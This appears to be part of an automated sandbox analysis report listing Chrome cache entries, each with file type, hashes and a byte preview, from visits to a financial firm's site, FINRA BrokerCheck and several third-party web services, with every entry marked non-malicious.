File Type:	PNG image data, 61 x 57, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	5101
Entropy (8bit):	7.953748739153428
Encrypted:	false
SSDEEP:	96:jvpErXslu5oNt08ML2esfNuM5bJxe6T1ypKYtM0NtmwTZdGakXiefSQ3bOI42i:qfCDfYyw6spKL0mwTnd4bIj
MD5:	00057074E74A5A853C9B2910B6A71B17
SHA1:	DD15AC263E8466B3D145AAA5306E499196AB3482
SHA-256:	702CA3557D63B9C81DE26C2E8939F1A752A7089A6A76222D5085AE5AFE883851
SHA-512:	6F965E12A37439886B5FBFB06D8AA19416AA296BCE21D50BAAEEBB3213C34AC816ACC366BA12FD7FD950592068646E2BBC1ADB9302374E56C7D5E88D37BBE61D
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...=...9.............sRGB.........gAMA......a.....pHYs...t...t..f.x....IDAThC.Z.p..}..{..Z..=t...6`.s.lc...0...$..BC.(.r........&.&.....M.2....j......1.\|[.e..-............q.f.?iW.......2.R.......ad?...).?...Kd{+j..qf......96....'.g.]..k.....^.L/..Ro..V0P....)..d.......?=.......N'..t.B!;...w.......?7......a+.r.8..X....!...........\-e..t.Je&.JMWT.]\|vl....W..jP4..-......8#.q..O0..;K.A0....L...J.....K..X{C...........4.'.....y.:.....9m..{......~.h.oo._.R....ji.*/.#......w.g`..../}l4u....>..<..;.}.86m.>@/.....o."....&F.v.....SnW[]...7.c).?4..wh..{ ......'... p&.yl....m./h....../.p....BC.;...>.......'.......}.G~.o..N.:4.{d4..`....s..>..0....$W\..-.!..}...n]....m......8.\.\|..6..[..[..<....NS.yH..=...<.z.R.........O:.Y..C..%.aZB...Ek..7.~A...w.n..D...4..oy......vUY)..q..cO.2..x...+6.K.?.-...9JB.O.....F.O..{.....#..M..t.....1+e.qn.....,.J..,.!.)..~mx.'.kH7.}.j..#.,T...#E....R#=/l.b..n/).!..L.,.U...=vl._...K..0....M...

Chrome Cache Entry: 435

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 189 x 177, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	7156
Entropy (8bit):	7.857460304540552
Encrypted:	false
SSDEEP:	192:6p9lIo+Wictwa2v2fYgIO6ES+507FC8POCx:MTIJWlwajfYhTEV+Iw5
MD5:	5E0DA4B4B3A23D5950396715805617F4
SHA1:	975E2B60A717D946DCA3021C3AE8C6B8269B24B7
SHA-256:	01BE4F904E5656154B941DCABBEAACAAE602876419D3B04352CA0CDF1D8FB5BC
SHA-512:	155DF2F5AAD94973A8C24BB41158038F6DA8CDF2DF2D0ED5CC9DEF47C8085A5DE5664DF5D6D5C5344F16AF71BF5AEE562B20344A1C4BF19C4D86EFA9F9EB1CF5
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...............Ly....PLTEGpL............................................................................................................................................................................................................................................................}....................................................................(((......................x..........................\|.........................................x...............................................................................................v..x..w..v.............................w..w................................w....................................................................v..w..w..w..............x..w..........................w..w..v..v..w.....w..w..v..v..y..w.....w.............<\|.p....tRNS........>.........~Zf..8.H...q...-PN.......*...d..v$..._..:F\6.....3..B.@.TJ0....z...."~.<......m....j. W..q........R.........3..J..@,..9.X..&]..xb).."...X../.a.6@.Fv..R...(f

Chrome Cache Entry: 436

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (19300)
Category:	downloaded
Size (bytes):	277270
Entropy (8bit):	5.408483598041009
Encrypted:	false
SSDEEP:	1536:fPHaQFjcTxlJ/yfJJubY9OD47YzM4HEBuP2j5yeOkFCbPIO6I3uclVuYgyi3i8/1:+sxm7RP2j5cnLoxeVGROa
MD5:	B4E9318C06C9AF078BC78E1C633F3F18
SHA1:	7EB05E5F9CEF777F83C8454B3A2276C0EACCE136
SHA-256:	79D9AC506C16295458070637C5E0DB89ABE8B0D7F4888A6D069C43673CD698E1
SHA-512:	2E199957721CD41BB61049AC25783AC635CA6FC0DC18F7655FBCBABA7A377280FC9FC145873120707E7F0035456CE27F742280677B16C182976D482866831279
Malicious:	false
Reputation:	low
URL:	https://static.xx.fbcdn.net/rsrc.php/v3/yh/r/nzRrvRgzNjX.js?_nc_x=Ij3Wp8lg5Kz
Preview:	;/FB_PKG_DELIM/.."use strict";(function(){var a=typeof globalThis!=="undefined"&&globalThis\|\|typeof self!=="undefined"&&self\|\|typeof global!=="undefined"&&global;if(typeof a.AbortController!=="undefined")return;var b=function(){function a(){this.__listeners=new Map()}a.prototype=Object.create(Object.prototype);a.prototype.addEventListener=function(a,b,c){if(arguments.length<2)throw new TypeError("TypeError: Failed to execute 'addEventListener' on 'CustomEventTarget': 2 arguments required, but only "+arguments.length+" present.");var d=this.__listeners,e=a.toString();d.has(e)\|\|d.set(e,new Map());var f=d.get(e);f.has(b)\|\|f.set(b,c)};a.prototype.removeEventListener=function(a,b,c){if(arguments.length<2)throw new TypeError("TypeError: Failed to execute 'addEventListener' on 'CustomEventTarget': 2 arguments required, but only "+arguments.length+" present.");var d=this.__listeners,e=a.toString();if(d.has(e)){var f=d.get(e);f.has(b)&&f["delete"](b)}};a.prototype.dispatchEvent=function(a){if

Chrome Cache Entry: 437

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 15744, version 1.0
Category:	downloaded
Size (bytes):	15744
Entropy (8bit):	7.986588355476176
Encrypted:	false
SSDEEP:	384:z1TLklSElcS5V6qQTMUP07JwirW6RlLwK79/:p7EJ5E2bJwi5jLwK79/
MD5:	15D9F621C3BD1599F0169DCF0BD5E63E
SHA1:	7CA9C5967F3BB8BFFEAB24B639B49C1E7D03FA52
SHA-256:	F6734F8177112C0839B961F96D813FCB189D81B60E96C33278C1983B6F419615
SHA-512:	D35A47162FC160CD5F806C3BB7FEB50EC96FDFC81753660EAD22EF33F89BE6B1BFD63D1135F6B479D35C2E9D30F2360FFC8819EFCA672270E230635BCB206C82
Malicious:	false
Reputation:	low
URL:	https://fonts.gstatic.com/s/roboto/v30/KFOmCnqEu92Fr1Mu4mxK.woff2
Preview:	wOF2......=........t..=..........................d..d..^.`.. .T..<.....\|..{........6.$.... ..t. ..I.3.%.....8..&....4Z.\|t .8.........D...$.uNE.P.E.Ak...=.x.9Xz.`.I..R....#F+B`..}.RP\|E...Z\.W[.............C...QB....m...cm.?.F.g.......Q....3......p...L2.[......!+@U..^~.......D.?.......j...U...c..U.l.6{...m.CD].h.t.....Q8.....@P...L.c.....+...ZD..2.K...:..4{g..:..~....v......<..H^.R.'....8....?.;...uy.VW..8=.".F..*.....@E....c....=..Ib.....y8$.a){.......KiIW.&..~.}..1..w.M..{.4......!..{..F.H.5#K...t..5.w...ve;. '......NJ......'(%;...?...D...M.Cq,<.=?.f......._...V..bA.(..37..v....+.uY.C.b.w8AF..3.n.-..'..U%.2....o.l."...^bj..aoF.!`....A....j...'.:Z.u...[..p.GW:U%.Ejq...:I...C........S.C...sJe.6D...<.UM,..&h..z}.y\|..9...D..j...n..B.$..T....?../.Q..=B...C._.f.#.:Bo.@]T.(..v..F..+d...". ......R..R..R....!..~A....X............>!`p..,08. 9.../.....r..Q.......Qpg.\ko...C..3..Y.y..t'.d9..>#\|..3..?.#..$....i........g5.z....S....{3..Sp..S2..w.6........

Chrome Cache Entry: 438

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (5955)
Category:	downloaded
Size (bytes):	255875
Entropy (8bit):	5.574289093798177
Encrypted:	false
SSDEEP:	3072:tH7JR+8bFtV8vWHsKC7uJw8jwGXmJzm3duNfsYrWTrWOVOYfR0u7RCf/ZN:tVRp8+HsKS+5aS8NfsYrgrWu3fRzRC/
MD5:	1F81FE658898D7DB2ED2057CC275E08B
SHA1:	3F3171CB9A1580B87143DC0EFF91E43A351FC75D
SHA-256:	FEFB9B3CD9DA1C8155B4A8BFCD82F800C0D7A9C195F4BD1135C5B8D3C329FEB0
SHA-512:	A49F120171C5B68B9D056A82A001F0AB19128A22824BD8B35381666E00F7AF31CD209F16A3EC933FE0578032A0899B79326CE20EE3898CDABBA31C64D4B468A0
Malicious:	false
Reputation:	low
URL:	https://www.googletagmanager.com/gtag/js?id=G-6C0WRDNQ4X&cx=c&_slc=1
Preview:	.// Copyright 2012 Google Inc. All rights reserved.. .(function(){..var data = {."resource": {. "version":"2",. . "macros":[{"function":"__e"},{"vtp_signal":1,"function":"__c","vtp_value":1},{"function":"__c","vtp_value":""},{"function":"__c","vtp_value":0},{"vtp_signal":1,"function":"__c","vtp_value":1},{"function":"__c","vtp_value":""},{"function":"__c","vtp_value":0}],. "tags":[{"function":"__ogt_ga_send","priority":8,"vtp_value":true,"tag_id":16},{"function":"__ogt_referral_exclusion","priority":8,"vtp_includeConditions":["list","finra\\.org"],"tag_id":18},{"function":"__ogt_session_timeout","priority":8,"vtp_sessionMinutes":30,"vtp_sessionHours":0,"tag_id":19},{"function":"__ogt_1p_data_v2","priority":8,"vtp_isAutoEnabled":true,"vtp_autoCollectExclusionSelectors":["list",["map","exclusionSelector",""]],"vtp_isEnabled":true,"vtp_cityType":"CSS_SELECTOR","vtp_manualEmailEnabled":false,"vtp_firstNameType":"CSS_SELECTOR","vtp_countryType":"CSS_SELECTOR","vtp_cityValue":"","vtp_ema

Chrome Cache Entry: 439

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	1230228
Entropy (8bit):	5.443610867080325
Encrypted:	false
SSDEEP:	24576:8ACo9hudz9rT1l3g4+juSi6MdO1cgPjBkMWfavs+PrmRMf5XNgBUOxFjEHi9bw2F:8ACo9hudz9rT1l3g4+juSi1dO1cgPjBS
MD5:	0CEB0311346A7D7D32ED4D9C67184FE8
SHA1:	52B453CAC736A475342F7C2DF3D1166B9B32A61B
SHA-256:	80BFB994B78B4E08251D5B6A02C8D54CD9B98E8A4BCA09615F20A0EB9733A262
SHA-512:	B4938D201B5C5BF00C4216D877C9288BAB1C74CD0B2DE75C0044A6472D0575ED02501268B9A6DBA3EF27D224E5FBB41EF7CB905164AE33B42CC239B85C64320F
Malicious:	false
Reputation:	low
URL:	https://brokercheck.finra.org/main.f9e9e2c38ec0f49d.js
Preview:	window.brokercheckConfig={"endpoints":{"entity":"https://api.brokercheck.finra.org","search":"https://api.brokercheck.finra.org/search","bcBaseURL":"https://api.brokercheck.finra.org/search","iapdBaseURL":"https://api.adviserinfo.sec.gov/search","altDomain":"https://adviserinfo.sec.gov","aao":"https://www.finra.org/api/v1/aao","fda":"https://www.finra.org/api/v1/fda"},"env":"prod","externalSites":{"iapd.firm":"https://adviserinfo.sec.gov/firm/summary","iapd.individual":"https://adviserinfo.sec.gov/individual/summary","reports":"https://files.brokercheck.finra.org","rule3170":"https://www.finra.org/rules-guidance/rulebooks/finra-rules/3170","tapingRule":"https://www.finra.org/taping-rule","rule4111":"https://www.finra.org/rules-guidance/rulebooks/finra-rules/4111","restrictedRule":"https://www.finra.org/4111-restricted-firms","appealedRule":"https://www.finra.org/4111-restricted-firms"}};(self.webpackChunkbrokercheck=self.webpackChunkbrokercheck\|\|[]).push([[179],{660:(r0,Et,Dr)=>{"use s

Chrome Cache Entry: 440

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 2 icons, 16x16, 32 bits/pixel, 32x32, 32 bits/pixel
Category:	downloaded
Size (bytes):	5430
Entropy (8bit):	2.6465732373896285
Encrypted:	false
SSDEEP:	24:Es5ed8vZa+/kffJTyN5J5iXSvjDxatgFFjiZq1MJUikeVgl2fwFfBaTzh4mpCbak:2fq3OqXAzh4jaJV9HxG8Q
MD5:	3E764F0F737767B30A692FAB1DE3CE49
SHA1:	58FA0755A8EE455819769EE0E77C23829BF488DD
SHA-256:	88AE5454A7C32C630703440849D35C58F570D8EECC23C071DBE68D63CE6A40D7
SHA-512:	2831536A2CA9A2562B7BE1053DF21C2ED51807C9D332878CF349DC0B718D09EEB587423B488C415672C89E42D98D9A9218FACE1FCF8E773492535CB5BD67E278
Malicious:	false
Reputation:	low
URL:	https://static.xx.fbcdn.net/rsrc.php/yT/r/aGT3gskzWBf.ico
Preview:	............ .h...&... .... .........(....... ..... ..........................................h. .f...............f...g...d.@.........................`...e...f...f...............f...f...f...e...p...............`...f...f...f...f...............f...f...f...f...f...p...........e...f...f...f...f...............f...f...f...f...f...e.......d.@.f...f...f...f...f...............f...f...f...f...f...f...h. .e...f...f...f....U..........................y'..f...f...f...g...f...f...f...f...............................U..f...f...f...f...f...f...f...f..................................f...f...f...f...f...f...f...f...f...f...............f...f...f...f...f...f...f...f...f...f...f...f...f...............p...f...f...f...f...f...f...f...f...f...f...f...f...................d...U..f...f...f...e...h. .f...f...f...f...f....d......................f...f...f...h.@.....f...f...f...f...f...f....t.................f...f...f...........p...f...f...f...f...f...f...f...f...f...f...f...f...`...............p...f...f...f...f

Chrome Cache Entry: 441

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 426x271, components 3
Category:	dropped
Size (bytes):	30551
Entropy (8bit):	7.981380885245913
Encrypted:	false
SSDEEP:	384:bkga3G3AiptgztS5kkxOM/O397RdGf/vlkLrWUS8R+y0zWJRsuqoh6QWi4ltVLaU:bppGzGGtc/vsqUS8Ruq8i45Larhuqd3C
MD5:	74E5690739B77026BD1CFC94C9E8B06A
SHA1:	A5D7886ABD8867B7ED53702F7DBF46A14EE9E836
SHA-256:	FF0B7D4AB7D24A2D85E2BC1912D862C43AE20C748757514BC335491658D1EC70
SHA-512:	747929CC5E4C121D1CDC5F3C46FCAF873FA2DF52CE95AB1469FFB30AE390383DC17EDAA5F859AC6D16C980A0DE0052C83D21489EBB33608CB9F250D6BD38C782
Malicious:	false
Reputation:	low
Preview:	......JFIF.............C..............................................!........."$".$.......C............................................................................"................................................................................>.Q.l.u..`."h..9.....Nx..K...R.7..CI.$..cDsC.............\.rx .......?Iju....c,W.'?........Z.E.Z.7..7...m$...:...F.^g...H..P.I`.$...h.j.ZmX.0.nWelT.......i.5.O{..{..{.........).G.By....S.......J.x1Z......C.\|.h.;.....MV.W.6.'......mL6@.]n..p.......].is...Y.t:#B.E.....................Hq..(8...79...1 .V..C..E..V..5../...y.b....#.N....k....Qz.%....n..H..1.k[.H..;y.}/6.*f.9...}<.C.-M.X{OF..oB.I.y..'..(D..5...p..'l...f...'...]......6..wDV{K...........\aZ%....E;78..7s.....w>^.=/....Kre.V..^...(.r4..f..Z9}^ZF...g..6....[V[..ZC.5#\....v.Q.b...F.n1...6k,...... ....T.ii_..p.GX.R......}.......u.;.1...M...V..B......H..z....I..3z..U=.......Xg.....'....vd.cb....6...t.71...@..^T.N.\|7.9.F..6...3.SNP.^.&..+3W...N.6.....~.."

Chrome Cache Entry: 442

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (65463)
Category:	downloaded
Size (bytes):	188620
Entropy (8bit):	5.307356911176467
Encrypted:	false
SSDEEP:	3072:b+xk/ihniuGi8q2X29H99OfFx/Bsm+5WrtItSy1mfA:b+Q6PFy5Z+qyefA
MD5:	713DC763F0EEAEECF166C2D21E7820D9
SHA1:	73E253A22492CF6DA42A1EC4DB91C58DC8BEB56F
SHA-256:	1695D0C3C2B1C824BF23BC897E33B0E557D96583099F3C28FC5307F2616C3991
SHA-512:	37B8B48C001154A8FC775F393893AF980B980DE1DBBD3204680F79133AD370217C43975B1833403A81F7732153A2B2602D4E5C1F269032E7DC63117B52583D2F
Malicious:	false
Reputation:	low
URL:	https://static.ada.support/embed2.e540f3c.js
Preview:	/! For license information please see embed2.e540f3c.js.LICENSE.txt /.!function(){var t={2740:function(t,e){"use strict";var n=this&&this.__assign\|\|function(){return n=Object.assign\|\|function(t){for(var e,n=1,r=arguments.length;n<r;n++)for(var o in e=arguments[n])Object.prototype.hasOwnProperty.call(e,o)&&(t[o]=e[o]);return t},n.apply(this,arguments)};e.__esModule=!0,e.createStorage=void 0;var r="Cannot access Web Storage API";e.createStorage=function(t){var e;try{e="local"===t?localStorage:sessionStorage}catch(t){console.warn(r)}var o={setItem:function(t,n){try{e.setItem(t,JSON.stringify(n))}catch(t){console.warn(r)}},getItem:function(t){try{var n=e.getItem(t);return n&&JSON.parse(n)}catch(t){return console.warn(r),null}},removeItem:function(t){try{e.removeItem(t)}catch(t){console.warn(r)}},clear:function(){try{e.clear()}catch(t){console.warn(r)}},setFnItem:function(t,e){var r,i=o.getItem("ada-functional-storage")\|\|{},s=n(n({},i),((r={})[t]=e,r));o.setItem("ada-functional-storage",s

Chrome Cache Entry: 443

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text
Category:	downloaded
Size (bytes):	2530
Entropy (8bit):	4.8685895300215565
Encrypted:	false
SSDEEP:	48:VMGnrA1qEGIFq4kLXvO/6aSp3oVsgSOqpYhlACTmxn:Vdr+enyYoelOXlLmxn
MD5:	3E90FBF4FC6FCE3E84343F4E522F380D
SHA1:	9E8512AB7411E10D337CC22AD4FC57B9871C2049
SHA-256:	D1DC0A460C7644C59E6E8D5F158B65A745E53D4BFE1BAB64F97175A666D2C34C
SHA-512:	8AFDC94F168803A5DF9D9F072CE5EC695868331B8D1AD462AE37C47911C8E68159213685D2F9CE6A16FFD96CDDCB1680F8E123F9897F7BB0BC62E18CE0675DA1
Malicious:	false
Reputation:	low
URL:	https://www.bfjfinancial.com/wp-content/themes/x-child/style.css?ver=10.4.16
Preview:	/..Theme Name: BFJ Tax & Accounting.Author: wk theme.Description: Make all of your modifications to X in this child theme..Version: 1.0.0.Template: x../...masthead.masthead-inline.{....display:none !important;.}...inner_panel p {.... margin: 0 0 10px !important;...}...link_panel {.. text-align: center;.. padding-top: 25px;. .}...link_panel .extra_css {..width:50%;..text-align: center;..font-size: 20px;..background: #006533 none repeat scroll 0 0;. border-radius: 4px;. color: #fff !important;. /* float: left; */. margin-top: 20px;. padding: 10px 20px;. .....}....about_panel ul {. float: left;. margin: 0;. padding: 0;. width: 100%;.}...about_panel ul li::after {. color: #006533;. content: ".";. font-family: fontawesome;. left: 0;. position: absolute;. top: 1px;.}...about_panel ul li .{..color: #545454;. font-family: Montserrat-Regular;. font-size: 17px;. font-weight: normal;..position:relative;. line-height: 28px;.

Chrome Cache Entry: 444

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	279801
Entropy (8bit):	5.465457710105355
Encrypted:	false
SSDEEP:	3072:0ST/e8ScJdvCJV0LxdPuRTvTWTcTEDM2HD6TcTEDM24jgT4Zf9PKXjJw/gbGbAQl:0SaEdvCqd2Vsf9PUJwoIVke
MD5:	1215ECE704F260FF7789DC8DDBE583E7
SHA1:	52BC6216F8BE1CC0D6FDCA32A80E76985B57F89D
SHA-256:	AD489AFB8DB095BBC9EA846E54E93612EDDF2613A913AA675E1BA1790F995820
SHA-512:	CE92976F542EC5DE6676199DB447ABD4618299C178869EDF20767E30A13FCDCADF93326D7D5AB28B580ED5B7F4A5D11107BE2E96A52F8C8355EAA031809B64B4
Malicious:	false
Reputation:	low
URL:	https://static.licdn.com/aero-v1/sc/h/12jn8edunbj0jah6829kj7zs7
Preview:	!function(){"use strict";let e;const t=new Uint8Array(16);function n(){if(!e&&(e="undefined"!=typeof crypto&&crypto.getRandomValues&&crypto.getRandomValues.bind(crypto),!e))throw new Error("crypto.getRandomValues() not supported. See https://github.com/uuidjs/uuid#getrandomvalues-not-supported");return e(t)}const r=[];for(let e=0;e<256;++e)r.push((e+256).toString(16).slice(1));var i={randomUUID:"undefined"!=typeof crypto&&crypto.randomUUID&&crypto.randomUUID.bind(crypto)};function a(e,t,a){if(i.randomUUID&&!t&&!e)return i.randomUUID();const o=(e=e\|\|{}).random\|\|(e.rng\|\|n)();if(o[6]=15&o[6]\|64,o[8]=63&o[8]\|128,t){a=a\|\|0;for(let e=0;e<16;++e)t[a+e]=o[e];return t}return function(e){let t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:0;return(r[e[t+0]]+r[e[t+1]]+r[e[t+2]]+r[e[t+3]]+"-"+r[e[t+4]]+r[e[t+5]]+"-"+r[e[t+6]]+r[e[t+7]]+"-"+r[e[t+8]]+r[e[t+9]]+"-"+r[e[t+10]]+r[e[t+11]]+r[e[t+12]]+r[e[t+13]]+r[e[t+14]]+r[e[t+15]]).toLowerCase()}(o)}const o="See https://go/pem/degradation-tr

Chrome Cache Entry: 445

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF line terminators
Category:	downloaded
Size (bytes):	6606
Entropy (8bit):	4.874417324943776
Encrypted:	false
SSDEEP:	192:cTOjXjLXr/X/dPDTDPl511zl5hz1fD1KumxMD/E1yypD/E9y4D/E/hj/YP/p/nql:eOTjLrf/pfD95Xz7hxfxKxxQEgy9EIcU
MD5:	64B7C16156798F0F66BE83B114C2109F
SHA1:	C9A8023EAA258A4EB766A5CE3898F69921C47EFD
SHA-256:	ECD95767D8072132A03BCD87E3EB3694005BDC8A5BB006EAB2E8EBF5821B14DF
SHA-512:	04DF898A613689EEF0B322687DA895AC1BFE603FC3E55F3DB6A501AB3DFEE4FD02E8E38429C4824C1B7D1CDE0B8660627C79C668AFAC9D3F290AEF637DD3F924
Malicious:	false
Reputation:	low
URL:	https://bfjfinancialgroup.smartvault.com/secure/secure.asmx/js
Preview:	Type.registerNamespace('SVault.Server.WebPortal.UI.secure');..SVault.Server.WebPortal.UI.secure.secure=function() {..SVault.Server.WebPortal.UI.secure.secure.initializeBase(this);..this._timeout = 0;..this._userContext = null;..this._succeeded = null;..this._failed = null;..}..SVault.Server.WebPortal.UI.secure.secure.prototype={.._get_path:function() {.. var p = this.get_path();.. if (p) return p;.. else return SVault.Server.WebPortal.UI.secure.secure._staticInstance.get_path();},..ValidateReferralCode:function(value,succeededCallback, failedCallback, userContext) {..return this._invoke(this._get_path(), 'ValidateReferralCode',false,{value:value},succeededCallback,failedCallback,userContext); },..ValidateEmail:function(value,succeededCallback, failedCallback, userContext) {..return this._invoke(this._get_path(), 'ValidateEmail',false,{value:value},succeededCallback,failedCallback,userContext); },..ValidateAccountName:function(value,succeededCallback, failedCallback, userContext) {..ret

Chrome Cache Entry: 446

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2924)
Category:	downloaded
Size (bytes):	27999
Entropy (8bit):	5.557202106537271
Encrypted:	false
SSDEEP:	768:wF0Fg5t99upKk89s6xMNdYy2DJZyXGsJYphU0QMuMpbpRcxC/rI2hH2IT5xs:weC7M0rq
MD5:	E820D691074AEA0597BB293257174D9C
SHA1:	FA7DD71199D074334C1A00ED9AF866E0FA8AC6CD
SHA-256:	52B2A0F543D748836B4F36D457CC86CCA324E00C700BCE5B6251F717B81BC943
SHA-512:	08B7872A813A26B8557D35F587DDCE9CC9DF86F69382DB504F9A65F4C5B2046F9F57301145FF4C72A0FCA7AF0A061A16A2CDB8290417A931BABCE87A62C0EA9E
Malicious:	false
Reputation:	low
URL:	https://maps.googleapis.com/maps-api-v3/api/js/56/8/onion.js
Preview:	google.maps.__gjsload__('onion', function(_){var OMa,PMa,hR,kR,jR,SMa,TMa,UMa,RMa,VMa,lR,WMa,XMa,YMa,ZMa,$Ma,aNa,cNa,dNa,gNa,nR,iNa,kNa,nNa,jNa,lNa,oNa,mNa,pNa,oR,rR,sR,qR,tR,uNa,vNa,wNa,uR,xNa,vR,yNa,wR,xR,zNa,ANa,yR,DNa,CNa,BR,GNa,HNa,INa,FNa,JNa,LNa,DR,PNa,QNa,RNa,KNa,MNa,NNa,TNa,CR,bOa,cOa,fOa,eOa,FR;OMa=function(a,b){_.H(a.Ig,1,b)};PMa=function(a,b){_.H(a.Ig,2,b)};hR=function(){QMa\|\|(QMa=[_.L,_.K,_.M])};kR=function(a){_.zI.call(this,a,iR);jR(a)};.jR=function(a){_.RH(a,iR)\|\|(_.QH(a,iR,{entity:0,Dm:1},["div",,1,0,[" ",["div",,1,1,[" ",["div",576,1,2,"Dutch Cheese Cakes"]," "]]," ",["div",,1,3,[" ",["span",576,1,4,"Central Station"]," ",["div",,1,5]," "]]," "]],[],RMa()),_.RH(a,"t-ZGhYQtxECIs")\|\|_.QH(a,"t-ZGhYQtxECIs",{},["jsl",,1,0," Station is accessible "],[],[["$t","t-ZGhYQtxECIs"]]))};SMa=function(a){return a.ij};TMa=function(a){return a.Wk};UMa=function(){return _.pH("t-ZGhYQtxECIs",{})};.RMa=function(){return[["$t","t-t0weeym2tCw","$a",[7,,,,,"transit-container"]],["display",f

Chrome Cache Entry: 447

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	2435
Entropy (8bit):	4.654207464739271
Encrypted:	false
SSDEEP:	48:CS550EWc0V74LcbHWAllpKdo69OSIC7KXQ5qTDxS2ZJu32:D50Bc0ocbWAllMdoMOSIC7KXQ5qTDxXP
MD5:	E1EBDA90BD5AE40A05D2FBC7A7B4F9A1
SHA1:	564B16FB3AD295432B850FF58E7A19D30CC6FB22
SHA-256:	870436155A72B520F5918F62C6D8F981EF76510E3CD8280266A7C270F6FDAD49
SHA-512:	60DDB903B8E4F9A1664181350D4E8ABBA47F80A5C30328490551032A8A022C5BE6D2045DA2C096785E6F2095E0FB0B839B90F1BDA827CBC5D8ED1E127577AC0F
Malicious:	false
Reputation:	low
Preview:	<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 60 60" width="60" height="60">. <g>. <path opacity="1" d="M30.1,16.1L30.1,16.1c-0.6,0-1-0.5-1-1V1c0-0.6,0.5-1,1-1l0,0c0.6,0,1,0.5,1,1v14.1C31.1,15.7,30.6,16.1,30.1,16.1z"/>. <path opacity="0.85" d="M23.1,18.1L23.1,18.1c-0.5,0.3-1.1,0.1-1.4-0.4L14.5,5.6c-0.3-0.5-0.2-1.1,0.4-1.4l0,0C15.4,3.9,16,4,16.3,4.6l7.2,12.1C23.8,17.2,23.6,17.8,23.1,18.1z"/>. <path opacity="0.77" d="M17.9,23.1L17.9,23.1c-0.3,0.5-0.9,0.7-1.4,0.4l-12.2-7c-0.5-0.3-0.7-0.9-0.4-1.4l0,0c0.3-0.5,0.9-0.7,1.4-0.4l12.2,7C18,22,18.2,22.7,17.9,23.1z"/>. <path opacity="0.69" d="M16.1,30.1L16.1,30.1c0,0.6-0.5,1-1,1L1,31.2c-0.6,0-1-0.5-1-1l0,0c0-0.6,0.5-1,1-1l14.1-0.1C15.7,29.1,16.1,29.5,16.1,30.1z"/>. <path opacity="0.61" d="M18,36.9L18,36.9c0.3,0.5,0.2,1.1-0.4,1.4L5.5,45.6c-0.5,0.3-1.1,0.2-1.4-0.4l0,0c-0.3-0.5-0.2-1.1,0.4-1.4l12.1-7.3C17.1,36.2,17.7,36.4,18,36.9z"/>. <path opacity="0.53" d="M23.3,42.1L23.3,42.1c0.5,0.3,0.6,0.9,0.4,1.4l-7.3,12.1c-0.3,0.5-0.9

Chrome Cache Entry: 448

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 160x160, components 3
Category:	downloaded
Size (bytes):	4195
Entropy (8bit):	7.70850956206428
Encrypted:	false
SSDEEP:	96:qthjyzuOeioj3AeyeNPVERPts28nrDgAc1:NoZjweyeLI1T0rDM
MD5:	EFC675063FE506AE178CC6D49E4938BC
SHA1:	17D96B346C39E6CBC083EAA45F4418A6C9B37FC9
SHA-256:	6030CD1832B1D22F9CB7F700AA839D868029949C42AB9E4D2D85C0E8E07993A0
SHA-512:	D9A863232EADE422926C5DFCB5E57D7DF3245C02E5421DDD522301D105252E99CFCE1F79CCE812DD1536B86C9BB50D8CA115844749C0B27556114F7C5A332D7E
Malicious:	false
Reputation:	low
URL:	https://scontent-lga3-1.xx.fbcdn.net/v/t1.6435-9/191680915_265045765020384_5894171166834969580_n.jpg?stp=c50.0.160.160a_dst-jpg_p160x160&_nc_cat=110&ccb=1-7&_nc_sid=5f2048&_nc_ohc=mO4BuMgfth0Ab73pxw1&_nc_ht=scontent-lga3-1.xx&oh=00_AfCH9laTFaWTyRR0G7UvKaGz7i-oivPXL8upnQfgqZbOtQ&oe=663FBD62
Preview:	......JFIF..............Photoshop 3.0.8BIM..........g..pzdyKZTuBG0BM4j25nAn..(.bFBMD0a000a860100009402000036040000b00400001905000054080000ee0a0000710b0000060c0000780c000063100000...C.....................................%...#... , #&'))..-0-(0%()(...C...........(...((((((((((((((((((((((((((((((((((((((((((((((((((..........."..................................................................................................y.6_.....=...f..................W...}@......./.=Z.......1...8......kn.....}.x..j..2..I.B.....6G...9..{..Wg7......D.~K.9..uXxA....$...a.?.{...[=.....K..o9.t.z.$.................?.................................0 !"3@`#%4...........\....m[.e\|...._...f.=...})...../...[2.Q...^.....y.:n:..".1x...~..&.#,.4.]N]...2..q...\p.=...c.3..;.q.L..=ML.m..qS!.-V..[+.&.B..C..3..X#..4@j....E...u..&rY.L&..C-.&%,..lrd.!/.B.i.7}.H.X..H.rc....)K8z..$....c.!...D..K8..c.k.8...n.A.c.;..\|.m.[.:.7.-h...f.1z)..H5.]...V......h..h..b&5....Uz.h.I...k.....U.'.

Chrome Cache Entry: 449

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
